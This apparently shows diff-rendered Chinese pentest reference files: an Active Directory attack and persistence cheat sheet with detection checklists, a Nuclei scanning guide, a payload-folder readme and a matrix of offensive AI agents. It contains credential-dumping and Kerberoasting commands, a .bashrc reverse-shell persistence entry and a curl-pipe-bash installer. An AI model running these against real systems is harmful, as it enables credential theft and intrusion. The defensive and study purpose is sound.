# → pypykatz lsa minidump lsass.dmp
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
### Kerberos 攻击
|
|
180
|
+
|
|
181
|
+
| 攻击 | 工具 | 说明 |
|
|
182
|
+
|------|------|------|
|
|
183
|
+
| Kerberoasting | Impacket | `GetUserSPNs.py domain/user:pass -dc-ip DC` |
|
|
184
|
+
| AS-REP Roasting | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
|
185
|
+
| Golden Ticket | Mimikatz | 需要 krbtgt hash |
|
|
186
|
+
| Silver Ticket | Mimikatz | 需要服务账户 hash |
|
|
187
|
+
| Delegation 滥用 | Impacket | 约束/非约束委派利用 |
|
|
188
|
+
|
|
189
|
+
### 防御检测
|
|
190
|
+
|
|
191
|
+
```text
|
|
192
|
+
□ 启用 Credential Guard(保护 LSASS)
|
|
193
|
+
□ 禁用 WDigest(防止明文密码缓存)
|
|
194
|
+
□ 监控 LSASS 访问:Sysmon Event ID 10
|
|
195
|
+
□ 检测 Kerberoasting:Event ID 4769 + RC4 加密
|
|
196
|
+
□ 检测 DCSync:Event ID 4662 + DS-Replication-Get-Changes
|
|
197
|
+
□ 强密码策略 + MFA
|
|
198
|
+
□ 定期轮换 krbtgt 密码
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## 持久化
|
|
204
|
+
|
|
205
|
+
### Windows 持久化
|
|
206
|
+
|
|
207
|
+
| 技术 | 位置/方法 |
|
|
208
|
+
|------|---------|
|
|
209
|
+
| 注册表 Run 键 | `HKCU\...\Run` |
|
|
210
|
+
| 计划任务 | `schtasks /create` |
|
|
211
|
+
| 服务 | `sc create` |
|
|
212
|
+
| WMI 事件订阅 | `__EventFilter` + `CommandLineEventConsumer` |
|
|
213
|
+
| DLL 劫持 | 替换合法 DLL |
|
|
214
|
+
| COM 劫持 | 修改 CLSID 注册表 |
|
|
215
|
+
| Startup 文件夹 | `%APPDATA%\...\Startup\` |
|
|
216
|
+
| Golden Ticket | krbtgt hash → 永久域访问 |
|
|
217
|
+
|
|
218
|
+
### Linux 持久化
|
|
219
|
+
|
|
220
|
+
| 技术 | 位置/方法 |
|
|
221
|
+
|------|---------|
|
|
222
|
+
| Cron 任务 | `/etc/crontab`、`/var/spool/cron/` |
|
|
223
|
+
| SSH 密钥 | `~/.ssh/authorized_keys` |
|
|
224
|
+
| bashrc/profile | `~/.bashrc` 添加反弹 shell |
|
|
225
|
+
| Systemd 服务 | `/etc/systemd/system/` |
|
|
226
|
+
| LD_PRELOAD | `/etc/ld.so.preload` |
|
|
227
|
+
| PAM 后门 | 修改 `pam_unix.so` |
|
|
228
|
+
| Rootkit | 内核模块 / eBPF |
|
|
229
|
+
|
|
230
|
+
### 防御检测
|
|
231
|
+
|
|
232
|
+
```text
|
|
233
|
+
□ 监控自启动位置变更(Autoruns / osquery)
|
|
234
|
+
□ 文件完整性监控(AIDE / Tripwire / Sysmon)
|
|
235
|
+
□ 定期审计计划任务和服务
|
|
236
|
+
□ 检测异常 SSH 密钥添加
|
|
237
|
+
□ EDR 行为检测:异常进程创建链
|
|
238
|
+
□ 网络检测:异常外连(C2 通信特征)
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## C2 通信与检测
|
|
244
|
+
|
|
245
|
+
### 常见 C2 框架
|
|
246
|
+
|
|
247
|
+
| 框架 | 特点 | 检测难度 |
|
|
248
|
+
|------|------|---------|
|
|
249
|
+
| Cobalt Strike | 商业级,Beacon 协议 | 中(有签名) |
|
|
250
|
+
| Sliver | 开源,Go 编写 | 中 |
|
|
251
|
+
| Havoc | 现代 C2,规避能力强 | 高 |
|
|
252
|
+
| Mythic | 模块化,多 Agent | 中 |
|
|
253
|
+
| Metasploit | 经典,Meterpreter | 低(签名多) |
|
|
254
|
+
|
|
255
|
+
### C2 通信检测
|
|
256
|
+
|
|
257
|
+
```text
|
|
258
|
+
□ DNS 隧道:异常长域名、高频 TXT 查询、非常规子域名
|
|
259
|
+
□ HTTP C2:固定间隔请求、异常 User-Agent、非标准端口 HTTPS
|
|
260
|
+
□ 域前置:CDN 域名但实际通信到 C2
|
|
261
|
+
□ 加密流量分析:JA3/JA3S 指纹、证书异常
|
|
262
|
+
□ 行为检测:进程注入、异常父子进程关系
|
|
263
|
+
□ 内存检测:无文件恶意代码(反射 DLL、shellcode)
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## 防御体系建设
|
|
269
|
+
|
|
270
|
+
### 网络层
|
|
271
|
+
|
|
272
|
+
```text
|
|
273
|
+
□ 网络分段(VLAN + 防火墙规则)
|
|
274
|
+
□ 零信任架构(不信任内网流量)
|
|
275
|
+
□ IDS/IPS 部署(Suricata / Snort)
|
|
276
|
+
□ 全流量记录(Zeek / Arkime)
|
|
277
|
+
□ DNS 安全(DNS over HTTPS + 恶意域名拦截)
|
|
278
|
+
□ 出口流量监控(检测 C2 外连)
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
### 终端层
|
|
282
|
+
|
|
283
|
+
```text
|
|
284
|
+
□ EDR 部署(CrowdStrike / Defender for Endpoint / Elastic)
|
|
285
|
+
□ 应用白名单(AppLocker / WDAC)
|
|
286
|
+
□ 补丁管理(WSUS / SCCM)
|
|
287
|
+
□ 最小权限(移除本地管理员)
|
|
288
|
+
□ 日志集中(Sysmon + Windows Event Forwarding)
|
|
289
|
+
□ 磁盘加密(BitLocker)
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
### 身份层
|
|
293
|
+
|
|
294
|
+
```text
|
|
295
|
+
□ MFA 全覆盖(特别是 VPN/RDP/管理后台)
|
|
296
|
+
□ 特权访问管理(PAM)
|
|
297
|
+
□ 条件访问策略
|
|
298
|
+
□ 密码策略(长度 > 复杂度)
|
|
299
|
+
□ 服务账户管理(gMSA)
|
|
300
|
+
□ 定期凭证轮换
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
### 检测与响应
|
|
304
|
+
|
|
305
|
+
```text
|
|
306
|
+
□ SIEM 部署(Splunk / Elastic / Sentinel)
|
|
307
|
+
□ SOAR 自动化响应
|
|
308
|
+
□ 威胁情报集成(MISP / OpenCTI)
|
|
309
|
+
□ 红蓝对抗演练
|
|
310
|
+
□ 应急响应预案(IR Playbook)
|
|
311
|
+
□ 取证能力(内存取证 + 磁盘取证 + 网络取证)
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## MITRE ATT&CK 映射
|
|
317
|
+
|
|
318
|
+
| 战术 | 本文覆盖的技术 |
|
|
319
|
+
|------|--------------|
|
|
320
|
+
| Reconnaissance | 端口扫描、DNS 枚举、证书透明度 |
|
|
321
|
+
| Initial Access | Web 漏洞利用、钓鱼、暴力破解 |
|
|
322
|
+
| Execution | 命令注入、WMI、PowerShell |
|
|
323
|
+
| Persistence | 注册表、计划任务、SSH 密钥、服务 |
|
|
324
|
+
| Privilege Escalation | SUID、Potato、内核漏洞、DLL 劫持 |
|
|
325
|
+
| Defense Evasion | 进程注入、无文件、混淆 |
|
|
326
|
+
| Credential Access | Mimikatz、Kerberoasting、DCSync |
|
|
327
|
+
| Discovery | 内网信息收集、AD 枚举 |
|
|
328
|
+
| Lateral Movement | PtH、WMI、SMB、RDP |
|
|
329
|
+
| Collection | 数据库导出、文件收集 |
|
|
330
|
+
| C2 | HTTP/DNS 隧道、域前置 |
|
|
331
|
+
| Exfiltration | DNS 外带、HTTP 上传、云存储 |
|
|
332
|
+
|
|
333
|
+
---
|
|
334
|
+
|
|
335
|
+
## 工具速查
|
|
336
|
+
|
|
337
|
+
| 工具 | 用途 | 链接 |
|
|
338
|
+
|------|------|------|
|
|
339
|
+
| Nmap | 端口扫描 | https://nmap.org/ |
|
|
340
|
+
| Impacket | Windows 协议利用 | https://github.com/fortra/impacket |
|
|
341
|
+
| Mimikatz | 凭证提取 | https://github.com/gentilkiwi/mimikatz |
|
|
342
|
+
| BloodHound | AD 攻击路径 | https://github.com/BloodHoundAD/BloodHound |
|
|
343
|
+
| CrackMapExec | 内网瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
|
|
344
|
+
| Chisel | TCP 隧道 | https://github.com/jpillora/chisel |
|
|
345
|
+
| Ligolo-ng | 隧道代理 | https://github.com/nicocha30/ligolo-ng |
|
|
346
|
+
| Evil-WinRM | WinRM Shell | https://github.com/Hackplayers/evil-winrm |
|
|
347
|
+
| LinPEAS/WinPEAS | 提权枚举 | https://github.com/carlospolop/PEASS-ng |
|
|
348
|
+
| Responder | LLMNR/NBT-NS 毒化 | https://github.com/lgandx/Responder |
|
|
349
|
+
| Kerbrute | Kerberos 枚举 | https://github.com/ropnop/kerbrute |
|
|
350
|
+
| Rubeus | Kerberos 攻击 | https://github.com/GhostPack/Rubeus |
|
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
# Nuclei 实战指南(2026 版)
|
|
2
|
+
|
|
3
|
+
> 来源:[ProjectDiscovery 官方文档](https://docs.projectdiscovery.io/) + [nuclei-templates](https://github.com/projectdiscovery/nuclei-templates)(2026)
|
|
4
|
+
> 适用场景:漏洞扫描、自定义检测模板编写、Bug Bounty 自动化
|
|
5
|
+
|
|
6
|
+
## 概述
|
|
7
|
+
|
|
8
|
+
Nuclei 是基于模板的快速漏洞扫描器。截至 2026 年:
|
|
9
|
+
- 9000+ 社区模板
|
|
10
|
+
- 100,000+ 安全工程师贡献
|
|
11
|
+
- 支持 HTTP/DNS/TCP/SSL/文件/代码等多种协议
|
|
12
|
+
- 已集成到 Kali 官方仓库(`apt install nuclei`)
|
|
13
|
+
|
|
14
|
+
## 快速使用
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# 安装(Kali)
|
|
18
|
+
apt install nuclei
|
|
19
|
+
# 或最新版
|
|
20
|
+
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
|
21
|
+
|
|
22
|
+
# 更新模板
|
|
23
|
+
nuclei -update-templates
|
|
24
|
+
|
|
25
|
+
# 基础扫描
|
|
26
|
+
nuclei -u https://target.com
|
|
27
|
+
|
|
28
|
+
# 指定严重级别
|
|
29
|
+
nuclei -u https://target.com -severity critical,high
|
|
30
|
+
|
|
31
|
+
# 指定模板类别
|
|
32
|
+
nuclei -u https://target.com -tags cve,sqli,xss,ssrf
|
|
33
|
+
|
|
34
|
+
# 批量目标
|
|
35
|
+
nuclei -l urls.txt -severity critical,high -o results.txt
|
|
36
|
+
|
|
37
|
+
# 配合 httpx 使用(推荐)
|
|
38
|
+
cat subdomains.txt | httpx -silent | nuclei -severity critical,high
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## 自定义模板编写
|
|
42
|
+
|
|
43
|
+
### 基础结构
|
|
44
|
+
|
|
45
|
+
```yaml
|
|
46
|
+
id: custom-check-id
|
|
47
|
+
|
|
48
|
+
info:
|
|
49
|
+
name: Custom Vulnerability Check
|
|
50
|
+
author: your-name
|
|
51
|
+
severity: high
|
|
52
|
+
description: Description of what this checks
|
|
53
|
+
tags: custom,webapp
|
|
54
|
+
|
|
55
|
+
http:
|
|
56
|
+
- method: GET
|
|
57
|
+
path:
|
|
58
|
+
- "{{BaseURL}}/vulnerable-endpoint"
|
|
59
|
+
matchers:
|
|
60
|
+
- type: word
|
|
61
|
+
words:
|
|
62
|
+
- "sensitive_data"
|
|
63
|
+
condition: and
|
|
64
|
+
- type: status
|
|
65
|
+
status:
|
|
66
|
+
- 200
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### 最佳实践
|
|
70
|
+
|
|
71
|
+
1. **ID 命名**:使用 `vendor-product-vulnerability` 格式
|
|
72
|
+
2. **严重级别**:严格按 CVSS 评分对应(critical/high/medium/low/info)
|
|
73
|
+
3. **Matcher 精确**:避免误报,组合多个 matcher
|
|
74
|
+
4. **提取器**:用 extractor 提取关键证据
|
|
75
|
+
5. **条件组合**:用 `condition: and` 减少误报
|
|
76
|
+
|
|
77
|
+
### 高级模板示例(SSTI 检测)
|
|
78
|
+
|
|
79
|
+
```yaml
|
|
80
|
+
id: ssti-detection
|
|
81
|
+
|
|
82
|
+
info:
|
|
83
|
+
name: Server-Side Template Injection
|
|
84
|
+
author: security-team
|
|
85
|
+
severity: high
|
|
86
|
+
tags: ssti,injection
|
|
87
|
+
|
|
88
|
+
http:
|
|
89
|
+
- method: GET
|
|
90
|
+
path:
|
|
91
|
+
- "{{BaseURL}}/?q={{url_encode('{{7*7}}')}}"
|
|
92
|
+
- "{{BaseURL}}/?search={{url_encode('${7*7}')}}"
|
|
93
|
+
matchers:
|
|
94
|
+
- type: word
|
|
95
|
+
words:
|
|
96
|
+
- "49"
|
|
97
|
+
part: body
|
|
98
|
+
extractors:
|
|
99
|
+
- type: regex
|
|
100
|
+
regex:
|
|
101
|
+
- "49"
|
|
102
|
+
part: body
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
## 与 AI 结合使用
|
|
106
|
+
|
|
107
|
+
### AI 生成 Nuclei 模板
|
|
108
|
+
|
|
109
|
+
当发现新漏洞模式时,可以让 AI 自动生成 Nuclei 模板:
|
|
110
|
+
|
|
111
|
+
```
|
|
112
|
+
用户:我发现 /api/v1/users 端点存在 IDOR,通过修改 user_id 参数可以访问其他用户数据
|
|
113
|
+
AI:[生成对应的 Nuclei 模板]
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### Pentest Swarm AI 集成
|
|
117
|
+
|
|
118
|
+
Pentest Swarm AI 原生集成 Nuclei,在 swarm 模式下:
|
|
119
|
+
1. Recon agent 发现子域名和端点
|
|
120
|
+
2. Classifier agent 用 Nuclei 模板扫描
|
|
121
|
+
3. 高 pheromone 的发现触发 Exploit agent
|
|
122
|
+
|
|
123
|
+
### 推荐模板仓库
|
|
124
|
+
|
|
125
|
+
| 仓库 | 内容 | 链接 |
|
|
126
|
+
|------|------|------|
|
|
127
|
+
| projectdiscovery/nuclei-templates | 官方 9000+ 模板 | [GitHub](https://github.com/projectdiscovery/nuclei-templates) |
|
|
128
|
+
| 0xKayala/Custom-Nuclei-Templates | 社区精选 | [GitHub](https://github.com/0xKayala/Custom-Nuclei-Templates) |
|
|
129
|
+
| emadshanab/Nuclei-Templates-Collection | 大型集合 | [GitHub](https://github.com/emadshanab/Nuclei-Templates-Collection) |
|
|
130
|
+
|
|
131
|
+
## 常用命令速查
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# 扫描单个目标
|
|
135
|
+
nuclei -u https://target.com -severity critical,high
|
|
136
|
+
|
|
137
|
+
# 使用自定义模板
|
|
138
|
+
nuclei -u https://target.com -t ~/custom-templates/
|
|
139
|
+
|
|
140
|
+
# 输出 JSON(便于后续处理)
|
|
141
|
+
nuclei -u https://target.com -json -o results.json
|
|
142
|
+
|
|
143
|
+
# 限速(避免被 WAF 拦截)
|
|
144
|
+
nuclei -u https://target.com -rate-limit 10 -bulk-size 5
|
|
145
|
+
|
|
146
|
+
# 使用代理
|
|
147
|
+
nuclei -u https://target.com -proxy http://127.0.0.1:8080
|
|
148
|
+
|
|
149
|
+
# 排除特定模板
|
|
150
|
+
nuclei -u https://target.com -exclude-tags dos,fuzz
|
|
151
|
+
|
|
152
|
+
# 新模板检测(只跑最近添加的)
|
|
153
|
+
nuclei -u https://target.com -new-templates
|
|
154
|
+
|
|
155
|
+
# 配合 subfinder + httpx 全流程
|
|
156
|
+
subfinder -d target.com -silent | httpx -silent | nuclei -severity critical,high -o report.txt
|
|
157
|
+
```
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# 自定义 Payload 目录
|
|
2
|
+
|
|
3
|
+
本目录用于存放你自己积累的高效 payload。AI 在执行渗透测试时会优先使用这里的 payload,再去尝试通用 payload。
|
|
4
|
+
|
|
5
|
+
## 建议的文件组织
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
payloads/
|
|
9
|
+
├── sql-injection/ # SQL 注入 payload
|
|
10
|
+
│ ├── mysql-union.txt
|
|
11
|
+
│ ├── mssql-stacked.txt
|
|
12
|
+
│ └── blind-time.txt
|
|
13
|
+
├── xss/ # XSS payload
|
|
14
|
+
│ ├── reflected.txt
|
|
15
|
+
│ └── dom-based.txt
|
|
16
|
+
├── ssrf/ # SSRF payload
|
|
17
|
+
├── lfi-rfi/ # 文件包含
|
|
18
|
+
├── auth-bypass/ # 认证绕过
|
|
19
|
+
├── command-injection/ # 命令注入
|
|
20
|
+
└── custom/ # 其他自定义
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
## 使用规则
|
|
24
|
+
|
|
25
|
+
- AI 测试时先用本目录的 payload,再用 SecLists 通用字典
|
|
26
|
+
- 每次发现新的有效 payload,回写到对应目录
|
|
27
|
+
- 文件名要有描述性,不要用 `1.txt`、`test.txt`
|
|
28
|
+
|
|
29
|
+
## 自动补充
|
|
30
|
+
|
|
31
|
+
如果本目录为空,AI 会自动从 SecLists 中提取常用 payload 子集放入。
|
|
32
|
+
如果 SecLists 未安装,bootstrap 会自动下载。
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
# pentest-ai-agents 覆盖矩阵
|
|
2
|
+
|
|
3
|
+
> ⚠️ Security notice: examples below may include download-and-execute patterns, shown for defensive understanding and authorized testing only. Never run them against systems you do not own.
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
> 参考自 [0xSteph/pentest-ai-agents](https://github.com/0xSteph/pentest-ai-agents)(1.3k stars,MIT)
|
|
7
|
+
> 35 个 Claude Code 渗透子 agent 的能力映射。可作为我们 pentest-tools skill 的方法论参考。
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## 安装方式(外部可选)
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash # security-allowlist: curl-pipe-bash
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
或者只参考其 prompt 模式,不实际安装。
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Agent 覆盖矩阵
|
|
22
|
+
|
|
23
|
+
### 攻击类(Tier 1 咨询 + Tier 2 执行)
|
|
24
|
+
|
|
25
|
+
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|
|
26
|
+
|-------|---------|---------|-----------------|
|
|
27
|
+
| engagement-planner | 渗透计划/ROE/ATT&CK 映射 | — | pentest-tools |
|
|
28
|
+
| recon-advisor | 信息收集/目标优先级 | nmap, masscan, subfinder, httpx | pentest-tools |
|
|
29
|
+
| osint-collector | OSINT/邮箱/社交/泄露 | theHarvester, sherlock, holehe | pentest-tools |
|
|
30
|
+
| vuln-scanner | 漏洞扫描 | nuclei, nikto, RouterSploit | pentest-tools |
|
|
31
|
+
| web-hunter | Web 渗透 | ffuf, sqlmap, dalfox, Commix | pentest-tools |
|
|
32
|
+
| api-security | API 安全 | OWASP API Top 10, JWT, OAuth | pentest-tools / js-reverse |
|
|
33
|
+
| ad-attacker | AD 攻击 | BloodHound, Impacket, Certipy | pentest-tools |
|
|
34
|
+
| credential-tester | 密码破解 | Hashcat, John, Hydra, CeWL | pentest-tools |
|
|
35
|
+
| cloud-security | 云渗透 | aws/az/gcloud, Prowler, Pacu | pentest-tools |
|
|
36
|
+
| mobile-pentester | 移动端 | Frida, Objection, jadx, MobSF | apk-reverse |
|
|
37
|
+
| wireless-pentester | 无线 | aircrack-ng, bettercap, wifite | pentest-tools |
|
|
38
|
+
| social-engineer | 社工 | GoPhish, Evilginx | pentest-tools |
|
|
39
|
+
| payload-crafter | Payload 生成 | msfvenom, Donut | pentest-tools |
|
|
40
|
+
| reverse-engineer | 逆向 | Ghidra, Radare2, JadX, Binwalk | ida-reverse / radare2 |
|
|
41
|
+
| phishing-operator | 钓鱼基础设施 | Evilginx, GoPhish, dnstwist | pentest-tools |
|
|
42
|
+
| exploit-chainer | 攻击链组合 | 多步骤链式利用 | pentest-tools |
|
|
43
|
+
| poc-validator | PoC 验证 | 安全执行验证脚本 | pentest-tools |
|
|
44
|
+
| bug-bounty | Bug Bounty | HackerOne/Bugcrowd 方法论 | pentest-tools |
|
|
45
|
+
| bizlogic-hunter | 业务逻辑漏洞 | 价格篡改/竞态条件 | pentest-tools / js-reverse |
|
|
46
|
+
| cicd-redteam | CI/CD 攻击 | GitHub Actions, GitLab CI | pentest-tools |
|
|
47
|
+
| c2-operator | C2 操作 | Sliver, Mythic, Havoc | pentest-tools |
|
|
48
|
+
| container-breakout | 容器逃逸 | Docker/K8s escape, runc CVE | pentest-tools |
|
|
49
|
+
| opsec-anonymizer | 操作安全 | 身份隐匿/指纹管理 | pentest-tools |
|
|
50
|
+
| llm-redteam | AI/LLM 红队 | Garak, PyRIT, Promptfoo | pentest-tools |
|
|
51
|
+
| attack-planner | 攻击路径规划 | ATT&CK 映射/链评分 | pentest-tools |
|
|
52
|
+
| swarm-orchestrator | 多 agent 协调 | 并行工作流 | — |
|
|
53
|
+
|
|
54
|
+
### 防御/分析类
|
|
55
|
+
|
|
56
|
+
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|
|
57
|
+
|-------|---------|---------|-----------------|
|
|
58
|
+
| detection-engineer | 检测规则 | Sigma, Splunk SPL, KQL | — |
|
|
59
|
+
| threat-modeler | 威胁建模 | STRIDE/DREAD | — |
|
|
60
|
+
| forensics-analyst | 取证 | Volatility 3, Autopsy, YARA | CTF-Sandbox-Orchestrator |
|
|
61
|
+
| malware-analyst | 恶意软件分析 | Volatility, YARA, Wireshark | reverse-engineering |
|
|
62
|
+
| stig-analyst | 合规审计 | DISA STIG | — |
|
|
63
|
+
|
|
64
|
+
### 报告/学习类
|
|
65
|
+
|
|
66
|
+
| Agent | 覆盖领域 | 对应我们的 skill |
|
|
67
|
+
|-------|---------|-----------------|
|
|
68
|
+
| report-generator | 渗透报告 | docs-generator |
|
|
69
|
+
| ctf-solver | CTF 解题 | CTF-Sandbox-Orchestrator |
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## 关键设计模式(可复用)
|
|
74
|
+
|
|
75
|
+
### 1. Tier 1 / Tier 2 分层
|
|
76
|
+
|
|
77
|
+
- **Tier 1(咨询)**:AI 只给建议和分析,用户自己执行命令
|
|
78
|
+
- **Tier 2(执行)**:AI 可以直接执行命令,但每步需要用户确认
|
|
79
|
+
|
|
80
|
+
这个模式适合我们的 pentest-tools skill——默认 Tier 1,用户明确授权后升级到 Tier 2。
|
|
81
|
+
|
|
82
|
+
### 2. Scope Guard(范围守卫)
|
|
83
|
+
|
|
84
|
+
每个 Tier 2 agent 执行前都会验证目标是否在授权范围内。硬拒绝列表:
|
|
85
|
+
- DoS 攻击
|
|
86
|
+
- 大规模无差别扫描
|
|
87
|
+
- 自动蠕虫
|
|
88
|
+
- 假旗操作
|
|
89
|
+
- 影响生命安全的系统
|
|
90
|
+
|
|
91
|
+
### 3. Findings Database
|
|
92
|
+
|
|
93
|
+
用 SQLite 持久化存储发现的漏洞,跨会话保持。类似我们的 field-journal 但更结构化。
|
|
94
|
+
|
|
95
|
+
### 4. /recommend 路由
|
|
96
|
+
|
|
97
|
+
用户输入自由文本描述任务,AI 自动路由到最合适的 agent。这和我们的路由矩阵是同一个思路。
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## 与我们的包的互补关系
|
|
102
|
+
|
|
103
|
+
| 他们有我们没有 | 建议 |
|
|
104
|
+
|--------------|------|
|
|
105
|
+
| AD 攻击专项 agent | 可以在 pentest-tools 中加 AD 攻击参考 |
|
|
106
|
+
| 检测工程(Sigma/SPL/KQL) | 未来可新增 detection-engineering skill |
|
|
107
|
+
| 威胁建模(STRIDE/DREAD) | 可集成到 docs-generator 的报告模板 |
|
|
108
|
+
| C2 操作 | 暂不集成(需要实际 C2 框架) |
|
|
109
|
+
| LLM 红队 | 新兴领域,未来可新增 |
|
|
110
|
+
|
|
111
|
+
| 我们有他们没有 | 优势 |
|
|
112
|
+
|--------------|------|
|
|
113
|
+
| 按需自举(bootstrap) | 他们需要手动装工具 |
|
|
114
|
+
| 自动进化(field-journal) | 他们没有经验沉淀 |
|
|
115
|
+
| 跨版本符号迁移(binary-diff) | 他们没有 |
|
|
116
|
+
| 浏览器/桌面自动化 | 他们没有 |
|
|
117
|
+
| 图表生成 | 他们没有 |
|